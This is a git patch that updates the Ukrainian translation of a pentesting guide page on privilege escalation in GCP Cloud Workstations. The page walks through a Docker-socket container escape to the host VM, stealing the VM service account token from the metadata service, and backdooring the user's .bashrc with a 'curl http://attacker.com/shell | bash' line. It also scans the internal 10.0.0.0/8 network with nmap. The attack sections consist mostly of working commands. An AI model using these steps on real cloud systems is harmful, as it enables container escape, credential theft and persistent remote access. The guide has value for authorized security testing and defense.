From f45481e40cad2ef48384404a10b33ed920578d15 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 3 Mar 2026 15:57:41 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../gcp-cloud-workstations-privesc.md | 35 +++++++++++-------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 64bda46b9..a6f8ed6e2 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -1,22 +1,23 @@ # GCP - Cloud Workstations Privesc +{{#include ../../../banners/hacktricks-training.md}} -### Container Breakout через Docker Socket (Container -> VM -> Project) +### Container Breakout via Docker Socket (Container -> VM -> Project) -Основний шлях підвищення привілеїв у Cloud Workstations випливає з необхідності підтримки **Docker-in-Docker (DinD)** workflows для розробників. Коли конфігурація workstation монтує Docker socket або дозволяє privileged containers (поширена конфігурація), атакуючий всередині контейнера workstation може втекти на підлеглий Compute Engine VM і вкрасти його service account token. +Основний шлях ескалації привілеїв у Cloud Workstations виникає через необхідність підтримки робочих процесів **Docker-in-Docker (DinD)** для розробників. Якщо конфігурація workstation монтує Docker socket або дозволяє privileged containers (поширена конфігурація), нападник всередині workstation container може втекти на підлеглий Compute Engine VM і вкрасти service account token. -**Prerequisites:** +**Передумови:** - Доступ до терміналу Cloud Workstation (через SSH, скомпрометовану сесію або вкрадені облікові дані) -- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти привілейовані контейнери +- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти privileged containers -**Architecture context:** workstation — це контейнер (Layer 3), що працює на Docker/Containerd runtime (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до container runtime хоста. +**Контекст архітектури:** workstation — це container (Layer 3), що працює на Docker/Containerd runtime (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до runtime контейнерів хоста. > [!NOTE] -> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і відкриває root shell на хост-VM. +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і дає root shell на host VM.
-Крок 1: Перевірка наявності Docker socket +Крок 1: Перевірити наявність Docker socket ```bash # Verify the Docker socket is available ls -l /var/run/docker.sock @@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
-Крок 2: Втеча у файлову систему віртуальної машини хоста +Крок 2: Escape до файлової системи хост-VM -Ми запускаємо привілейований контейнер, монтуємо кореневий каталог хоста в `/mnt/host`. Також ми ділимося мережею хоста та простором імен PID, щоб максимально підвищити видимість. +Ми запускаємо privileged container, монтувавши кореневу директорію хоста в `/mnt/host`. Також ділимося мережею хоста та PID namespace для максимальної видимості. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -44,7 +45,7 @@ chroot /mnt/host /bin/bash
-Крок 3: Вкрадіть токен сервісного облікового запису VM з IMDS +Крок 3: Викрадіть VM service account token з IMDS ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION] -> **Перевірте Scopes!** -> Навіть якщо прикріплений Service Account має роль **Editor**, VM може бути обмежений access scopes. +> **Перевірте області доступу!** +> Навіть якщо прикріплений Service Account має роль **Editor**, VM може бути обмежено областями доступу. > Якщо ви бачите `https://www.googleapis.com/auth/cloud-platform`, у вас повний доступ. > Якщо ви бачите лише `logging.write` та `monitoring.write`, ви обмежені векторами **Network Pivot** та **Persistence** нижче.
-Крок 4: Achieve Persistence (Backdoor the User) +Step 4: Achieve Persistence (Backdoor the User) -Cloud Workstations монтують persistent disk до `/home/user`. Оскільки container user (зазвичай `user`, UID 1000) збігається з host user (UID 1000), ви можете записувати в домашній каталог хоста. Це дозволяє вам backdoor the environment навіть якщо workstation container буде перебудовано. +Cloud Workstations монтують персистентний диск у `/home/user`. Оскільки користувач контейнера (зазвичай `user`, UID 1000) збігається з користувачем хоста (UID 1000), ви можете записувати в домашній каталог хоста. Це дозволяє вам backdoor середовище навіть якщо workstation container перебудовується. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,7 +86,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc Крок 5: Network Pivot (Internal VPC Access) -Оскільки ви розділяєте простір імен мережі хоста (`--net=host`), ви тепер є довіреним вузлом у VPC. Ви можете scan внутрішні сервіси, які дозволяють доступ на основі IP whitelisting. +Оскільки ви ділите простір імен мережі хоста (`--net=host`), ви тепер є довіреним вузлом у VPC. Ви можете сканувати внутрішні сервіси, які дозволяють доступ на основі IP whitelisting. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap @@ -94,3 +95,7 @@ apk add nmap nmap -sS -p 80,443,22 10.0.0.0/8 ```
+ + + +{{#include ../../../banners/hacktricks-training.md}}